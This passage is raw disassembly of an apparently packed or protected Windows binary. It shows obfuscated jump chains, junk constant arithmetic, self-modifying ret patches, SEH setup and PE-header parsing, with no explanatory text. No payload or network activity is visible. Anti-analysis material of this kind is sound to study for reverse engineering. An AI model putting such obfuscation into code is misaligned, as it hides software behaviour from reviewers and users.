; --------------------------------------------------------------------------- loc_1001D03E: ; CODE XREF: an.kk9rg:10013218j jmp loc_1001379A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001D043: ; CODE XREF: sub_100130C7:loc_10017C79j add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax jmp loc_100181B0 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_1001D055: ; CODE XREF: sub_1001C9F8:loc_1001CA11j jmp loc_10015F20 ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; --------------------------------------------------------------------------- loc_1001D05A: ; CODE XREF: an.kk9rg:100190E6j jmp loc_1001708E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D060: ; CODE XREF: sub_10015B5D-23C8j jmp loc_1001309C ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001D065: ; CODE XREF: sub_10013BB8:loc_1001A1D9j cdq jmp loc_100131C4 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- sbb ebx, 30D81C46h jmp sub_1001D9A7 ; =============== S U B R O U T I N E ======================================= sub_1001D076 proc near ; CODE XREF: sub_100193F2:loc_1001ACCEp ; an.kk9rg:1001BB9Fj ; FUNCTION CHUNK AT 1001CB05 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_1001A4DF loc_1001D07F: ; CODE XREF: sub_100193F2-61B8j ; sub_100193F2:loc_10014AF4j ... push offset sub_10014698 jmp loc_1001CB05 sub_1001D076 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001D089 proc near ; CODE XREF: sub_1001CC4A-6DACj retn sub_1001D089 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A3BE loc_1001D08A: ; CODE XREF: sub_1001A3BE+6j jmp sub_1001D1DB ; END OF FUNCTION CHUNK FOR sub_1001A3BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D08F: ; CODE XREF: sub_10016734+1A57j jmp sub_1001D88D ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001D095: ; CODE XREF: an.kk9rg:1001573Ej jmp loc_100170D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_1001D09A: ; CODE XREF: sub_10015E0D:loc_10018AACj mov esp, ebp pop ebp mov eax, ds:dword_1001B740 or eax, eax jnz loc_10013800 jmp loc_10013628 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_1001D0B0: ; CODE XREF: an.kk9rg:loc_10015E48j xchg edx, [esp] mov edi, edx pop edx ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001D0B6: ; CODE XREF: sub_100138FD:loc_10015934j ; an.kk9rg:100196D2j ... dec ds:dword_10018608 mov eax, [ebp-4] pop ecx jmp loc_1001600A ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D0C5: ; CODE XREF: sub_10018066-282Bj mov [edi], eax pop edi popf inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_1001CC20 jmp loc_10019714 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001D0DA: ; CODE XREF: sub_1001B45F:loc_10019DA1j test eax, 0E986063h jmp loc_1001CAAE ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D0E5: ; CODE XREF: sub_10013389+7FB4j jbe loc_10019998 or ebp, eax ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001D0ED: ; CODE XREF: sub_10013389:loc_10013667j ; sub_1001ABFD-6396j ... jmp loc_10016C2C ; --------------------------------------------------------------------------- loc_1001D0F2: ; CODE XREF: sub_1001ABFD-1701j ; sub_10013389+9D87j xchg ebp, [esp+4+var_4] mov ecx, ebp jmp loc_1001AAE0 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001D0FC: ; CODE XREF: sub_1001D392:loc_10013952j xchg ecx, [esp+0] jmp loc_10016BC0 ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D104: ; CODE XREF: sub_10013389+17ACj jnp loc_100151A3 loc_1001D10A: ; CODE XREF: sub_10013389:loc_1001DA9Dj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D0F2 jmp loc_1001B7D9 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001D11B: ; CODE XREF: an.kk9rg:10013743j adc eax, ebp ; =============== S U B R O U T I N E ======================================= sub_1001D11D proc near ; CODE XREF: sub_100174F4:loc_100174FAp ; FUNCTION CHUNK AT 1001360A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017323 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-4], eax jmp loc_1001360A sub_1001D11D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D129 proc near ; DATA XREF: sub_10016C31+12o ; FUNCTION CHUNK AT 10018FB3 SIZE 00000005 BYTES mov edx, [ebp+8] mov [edx-8], eax jmp loc_10018FB3 sub_1001D129 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C31 loc_1001D134: ; CODE XREF: sub_10016C31j cmp dword ptr [ebp-10h], 2 jnz loc_100190F2 jmp loc_1001AE88 ; END OF FUNCTION CHUNK FOR sub_10016C31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D143: ; CODE XREF: sub_10016734-9CFj jnz loc_10013B13 jmp loc_10017CA8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_1001D14E: ; CODE XREF: sub_1001CBA8+Dj jz loc_10017F60 jmp loc_100154A3 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- loc_1001D159: ; CODE XREF: an.kk9rg:10018094j adc edx, edi shl eax, 0Eh loc_1001D15E: ; CODE XREF: an.kk9rg:loc_10017AD2j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_100153D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018CA1 loc_1001D169: ; CODE XREF: sub_10018CA1:loc_10018CAAj push ecx cmp ds:dword_1001B728, 0 jnz loc_100183A6 call nullsub_10 call sub_100180C2 mov edx, 0CF0182F6h call sub_1001DECE jmp loc_10018830 ; END OF FUNCTION CHUNK FOR sub_10018CA1 ; =============== S U B R O U T I N E ======================================= sub_1001D190 proc near ; CODE XREF: sub_10019595:loc_10019C40p ; an.kk9rg:1001D970j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add edx, 216C94C2h mov [edx], eax xchg ebp, [esp-4+arg_0] mov edx, ebp pop ebp call sub_1001BABF sub_1001D190 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001D1A7: ; CODE XREF: sub_100173FA-2EC0j jmp loc_1001B7A5 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001D1AC: ; CODE XREF: sub_10019E2E:loc_1001A676j jnz loc_1001CDE2 jg loc_10013AB3 or edx, 5B9C4DC0h adc esi, 6AF8D9E9h jge loc_100183A1 push esi jmp loc_1001CDE2 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001D1D0: ; CODE XREF: sub_10015988:loc_1001811Bj jnz loc_10018673 jmp loc_10016E76 ; END OF FUNCTION CHUNK FOR sub_10015988 ; =============== S U B R O U T I N E ======================================= sub_1001D1DB proc near ; CODE XREF: sub_100180C2+124Ap ; sub_1001D1DB:loc_1001989Bj ... ; FUNCTION CHUNK AT 1001989B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A3C9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001CB25 SIZE 0000000E BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz nullsub_143 loc_1001D1EB: ; CODE XREF: sub_1001A3BEj ; sub_1001D1DB-6B3j jnz loc_1001A3C9 jmp loc_1001C3E1 sub_1001D1DB endp ; --------------------------------------------------------------------------- xor esi, 0A44409C8h jmp loc_10018792 ; =============== S U B R O U T I N E ======================================= sub_1001D201 proc near ; CODE XREF: an.kk9rg:10014CA6j ; sub_10018628:loc_10014E08p ; FUNCTION CHUNK AT 10014006 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 10015511 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018116 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC0C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001CE18 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001DBB7 SIZE 00000007 BYTES xchg ecx, [esp+0] pop ecx call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001CE18 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_10014006 sub_1001D201 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D221 proc near ; DATA XREF: an.kk9rg:1001AE5Ao mov byte ptr [eax], 0C3h call sub_100180C2 sub_1001D221 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_1001D229: ; CODE XREF: sub_1001D88D:loc_10017C89j jns loc_10019BCA call sub_1001CC4A ; END OF FUNCTION CHUNK FOR sub_1001D88D ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D234: ; CODE XREF: sub_10013389:loc_10017606j push 0F90D149Dh pop eax sub eax, 43F5C39Ch or eax, 16468682h test eax, 100000h jmp loc_100184CB ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001D251 proc near ; DATA XREF: sub_1001BB72-2349o ; FUNCTION CHUNK AT 1001D6E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001DA92 SIZE 0000000B BYTES imul byte ptr [edx] cmp al, 0A4h jz loc_1001CAE7 jmp loc_1001DA92 sub_1001D251 endp ; =============== S U B R O U T I N E ======================================= sub_1001D260 proc near ; DATA XREF: sub_10013389+65ABo mov edx, [ebp+8] mov edx, [edx-8] or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax sub_1001D260 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001D271: ; CODE XREF: sub_10013389+3171j ; an.kk9rg:loc_10016C03j ... mov eax, [ebp-4] mov [ebp-8], eax jmp loc_1001AA15 ; END OF FUNCTION CHUNK FOR sub_100198E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001D27C: ; CODE XREF: sub_1001A54C-2674j jz loc_1001C732 jmp loc_10013935 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_1001D287: ; CODE XREF: an.kk9rg:1001AFB1j add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_1001D37A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_1001D294: ; CODE XREF: sub_1001DECE+3j push offset sub_10018DE4 jmp loc_1001630E ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- loc_1001D29E: ; CODE XREF: an.kk9rg:100139F1j rol edx, 11h add edx, 19776019h xor edx, 0E53A1305h add edx, 55BF2EE9h add edx, ebp jmp loc_1001895F ; --------------------------------------------------------------------------- loc_1001D2BA: ; DATA XREF: an.kk9rg:100130ECo push edi call sub_10018F28 loc_1001D2C0: ; CODE XREF: an.kk9rg:10017F8Ej jmp loc_10017D68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A4A loc_1001D2C5: ; CODE XREF: sub_10015A4A:loc_10015A5Bj jmp loc_10013B89 ; END OF FUNCTION CHUNK FOR sub_10015A4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001D2CA: ; CODE XREF: sub_100188EE:loc_10019609j jnz loc_10014222 jmp loc_1001B498 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_1001D2D5 proc near ; CODE XREF: sub_10018A31-3647p ; an.kk9rg:1001DD4Cj xchg esi, [esp+0] pop esi lea eax, nullsub_199 mov byte ptr [eax], 0C3h jmp nullsub_199 sub_1001D2D5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001D2E7: ; CODE XREF: an.kk9rg:10014031j mov eax, [esp] push offset loc_100147C1 jmp loc_1001452D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D2F4: ; CODE XREF: sub_10015B5D:loc_1001B5BBj and esi, 0C90A7629h jmp loc_1001BAF4 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- xchg edi, [ebx] ror eax, 19h jmp sub_1001AA64 ; --------------------------------------------------------------------------- loc_1001D309: ; CODE XREF: an.kk9rg:10018DCEj adc ecx, ebx shr edi, 1Fh jmp loc_1001B004 ; --------------------------------------------------------------------------- xor edi, 0C1824023h or ebx, esi jmp loc_1001C409 ; --------------------------------------------------------------------------- loc_1001D320: ; DATA XREF: sub_1001AEBC+11o mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] ; START OF FUNCTION CHUNK FOR sub_100190EB loc_1001D329: ; CODE XREF: sub_100190EB:loc_10017052j mov [edx-18h], eax inc dword ptr [ebp-4] push offset loc_100161A7 jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- adc edi, 0A6C57F59h jmp loc_1001A704 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001D344: ; CODE XREF: sub_10016D66:loc_10019149j xor eax, eax mov [ebp-4], eax call sub_10013044 loc_1001D34E: ; CODE XREF: an.kk9rg:10019065j jmp loc_1001407A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001D353: ; CODE XREF: sub_10015066+1DBCj jmp loc_10018B2C ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- loc_1001D358: ; CODE XREF: an.kk9rg:100184D8j push ecx ror esi, 1Fh ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D35C: ; CODE XREF: sub_10013389:loc_100184CBj sub eax, 5894F3F7h add eax, 0C69CAC5Eh call sub_10014A76 sub edi, 121934E3h jmp loc_10017FE0 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018D62 loc_1001D378: ; CODE XREF: sub_10018D62:loc_1001A917j pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10018D62 ; --------------------------------------------------------------------------- loc_1001D37A: ; CODE XREF: an.kk9rg:1001D28Fj jmp loc_1001CD3C ; =============== S U B R O U T I N E ======================================= sub_1001D37F proc near ; CODE XREF: sub_10014317:loc_1001885Dp ; FUNCTION CHUNK AT 10017B83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D663 SIZE 0000001B BYTES push large dword ptr fs:0 mov large fs:0, esp jmp loc_10017B83 sub_1001D37F endp ; =============== S U B R O U T I N E ======================================= sub_1001D392 proc near ; CODE XREF: an.kk9rg:10017CE9p ; sub_10013389:loc_10019D94j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 1001394C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100167EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10016BC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001963E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B2F6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA27 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 1001D0FC SIZE 00000008 BYTES xchg esi, [esp+0] pop esi loc_1001D396: ; CODE XREF: an.kk9rg:loc_10016CF8j mov edx, 8D40711Dh call sub_1001534D push esi jmp loc_10018D10 sub_1001D392 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D3A6: ; CODE XREF: sub_10018066+556Cj jz loc_10015EEE jmp loc_10019911 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_1001D3B1: ; CODE XREF: sub_10017EFB:loc_10014C49j pushf sbb ebx, 67019A19h xor edx, 0BDBA7808h jmp loc_10019BF9 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; =============== S U B R O U T I N E ======================================= sub_1001D3C3 proc near ; DATA XREF: sub_10013389+9858o ; FUNCTION CHUNK AT 10016AC7 SIZE 00000011 BYTES mov byte ptr [eax], 0C3h call nullsub_12 push edx push 821699FDh pop edx and edx, 31B12BD2h add edx, 0E7E32E1Bh jmp loc_10016AC7 sub_1001D3C3 endp ; --------------------------------------------------------------------------- add edx, 0B1872007h jmp sub_10018C4D ; --------------------------------------------------------------------------- loc_1001D3EE: ; CODE XREF: an.kk9rg:1001AB4Aj jnz loc_10019BF9 jmp loc_10014C49 ; --------------------------------------------------------------------------- cmp eax, esi jmp loc_1001987A ; --------------------------------------------------------------------------- jle loc_1001A010 jmp sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014B3A loc_1001D40B: ; CODE XREF: sub_10014B3A+10j add eax, 7F973528h xor eax, 0A8FA0512h ; END OF FUNCTION CHUNK FOR sub_10014B3A ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001D417: ; CODE XREF: sub_10015D9E:loc_1001526Ej add eax, 10491000h call sub_100181E1 mov ds:dword_10002038, eax lea eax, nullsub_154 jmp loc_1001C516 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001D433: ; CODE XREF: sub_1001C2A9-1170j adc esi, 61A9D72Ch xor eax, ebp ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001D43B proc near ; CODE XREF: sub_1001C2A9:loc_1001994Dj ; FUNCTION CHUNK AT 10017461 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 100179D8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001AAA4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D4A3 SIZE 00000005 BYTES push ebx push 68D63083h jmp loc_1001D4A3 sub_1001D43B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D446: ; CODE XREF: sub_10013389+A301j xchg edx, [esp+0] mov ebp, edx pop edx retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001D44D: ; CODE XREF: sub_1001492C+962Ej jmp loc_100134B3 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D452: ; CODE XREF: sub_10013389+A7B6j jmp loc_1001ADC5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CC4A loc_1001D457: ; CODE XREF: sub_1001CC4A+28j jmp loc_10015E8A ; END OF FUNCTION CHUNK FOR sub_1001CC4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001D45C: ; CODE XREF: sub_1001C2A9-1113j jmp loc_1001994D ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001D461 proc near ; CODE XREF: an.kk9rg:10016626p ; an.kk9rg:100171F0p ; FUNCTION CHUNK AT 10013A23 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10014334 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014F74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016C5D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001ABF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF5A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D52A SIZE 00000010 BYTES push ebp jmp loc_1001D52A sub_1001D461 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D467 proc near ; CODE XREF: an.kk9rg:loc_10017DD3p ; an.kk9rg:1001BB5Dj xchg eax, [esp+0] pop eax loc_1001D46B: ; CODE XREF: an.kk9rg:1001C11Cj push edi mov edi, esi xchg edi, [esp+0] call sub_10017EFB sub_1001D467 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001D476: ; CODE XREF: sub_10015B1B:loc_10019FD4j jz loc_10015B92 jmp loc_10014E5F ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001D481: ; CODE XREF: sub_10017BF9-2F7Dj jnz loc_1001423A jmp loc_1001A3EA ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_1001D48F: ; CODE XREF: sub_100130C7+703Aj jmp loc_10017747 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001D494: ; CODE XREF: sub_1001C28F-24C8j jmp loc_10018810 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001D499: ; CODE XREF: sub_10013061+4439j ; sub_1001A54C-267Aj mov edx, [esp+0Ch+var_C] mov al, 1 call edx ; GetModuleHandleA xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_1001D4A3: ; CODE XREF: sub_1001D43B+6j jmp loc_10017461 ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D4A8: ; CODE XREF: sub_10013389+74E4j jmp loc_10018AA1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_1001D4AD: ; CODE XREF: sub_100151FD+Fj jmp loc_1001D70E ; END OF FUNCTION CHUNK FOR sub_100151FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B9C1 loc_1001D4B2: ; CODE XREF: sub_1001B9C1:loc_10018618j push offset loc_1001736A jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_1001B9C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001D4BC: ; CODE XREF: sub_1001A97E-21A4j jo loc_1001CC31 sbb eax, edi jmp loc_10016560 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_1001D4C9 proc near ; DATA XREF: sub_10014418+6o ; FUNCTION CHUNK AT 10014F18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001521D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015900 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9B7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8C5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001D653 SIZE 00000010 BYTES test byte ptr [eax-8], 80h jz loc_1001521D inc dword ptr [ebp-8] loc_1001D4D6: ; CODE XREF: sub_1001D4C9:loc_10015900j ; sub_1001C8BC+4j mov eax, [ebp-8] pop ecx pop ecx push offset loc_1001521B jmp loc_1001A9B7 sub_1001D4C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D4E5 proc near ; CODE XREF: an.kk9rg:10015C72j ; sub_10014189+9549p ; FUNCTION CHUNK AT 1001DAD3 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push eax call sub_100174F4 jmp loc_1001DAD3 sub_1001D4E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D4F4: ; CODE XREF: sub_10013916:loc_10019A1Dj ; sub_10013389:loc_1001AC36j xor edi, 505F366Bh add edi, ebp add edi, 86808582h mov [edi], eax pop edi loc_1001D505: ; CODE XREF: sub_10013389+300Bj pushf jmp loc_10017606 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001D50B proc near ; DATA XREF: an.kk9rg:1001A839o ; FUNCTION CHUNK AT 1001361E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100198B2 SIZE 00000005 BYTES push edx push esi push 0AA3A80F0h pop esi xor esi, 0E4E371E8h and esi, 9F91DC83h xor esi, 0A489E90Eh jmp loc_1001361E sub_1001D50B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001D52A: ; CODE XREF: sub_1001D461+1j mov ebp, esp push ecx mov [ebp-4], eax push 35080C2h jmp loc_10013A23 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; =============== S U B R O U T I N E ======================================= sub_1001D53A proc near ; DATA XREF: sub_10013389+8694o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] sub_1001D53A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001D862 loc_1001D540: ; CODE XREF: sub_1001D862+7j and eax, 0FFh mov eax, ds:dword_10013BD4[eax*4] mov [ebp-8], eax ; END OF FUNCTION CHUNK FOR sub_1001D862 ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D54F: ; CODE XREF: sub_10015B5D+1D0Dj ; sub_10015B5D+7D15j jnz loc_1001599F test byte ptr [ebp-8], 2 jmp loc_1001C675 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001D55E: ; CODE XREF: sub_10015945:loc_100130DFj add edi, 86EEE00Ah mov [edi], eax pop edi lea eax, nullsub_1 mov byte ptr [eax], 0C3h loc_1001D570: ; CODE XREF: an.kk9rg:loc_1001B2F0j jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- loc_1001D575: ; CODE XREF: an.kk9rg:100131F5j test esi, 7DF1EBB6h jmp loc_1001C793 ; --------------------------------------------------------------------------- loc_1001D580: ; DATA XREF: an.kk9rg:1001849Fo cmp al, 0A4h jz loc_1001C7EE jmp loc_10016D5B ; --------------------------------------------------------------------------- rol ecx, 10h jmp sub_1001CEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D595: ; CODE XREF: sub_100136D7:loc_1001AD66j ; sub_100136D7+8125j push 2A73A971h pop eax xor eax, 1EFCD6h or eax, 2B609D73h rol eax, 0Ah jmp loc_10018E3D ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_1001D5AF proc near ; CODE XREF: sub_1001492C-20Dp ; an.kk9rg:10016150j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10015499 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] push ecx jmp loc_10015499 sub_1001D5AF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D5BC: ; CODE XREF: sub_10018066:loc_10018077j push eax push eax mov edx, eax loc_1001D5C0: ; CODE XREF: sub_10019C87:loc_1001C0B6j call sub_10019030 call sub_100142E8 or eax, eax jnz loc_10014461 jmp loc_1001D3A6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001D5D7: ; CODE XREF: sub_10017A58:loc_1001884Cj cmp byte ptr [eax], 0F1h jnz loc_1001C9C6 jmp loc_1001CB1A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- sub ebx, ecx jmp sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D5EC: ; 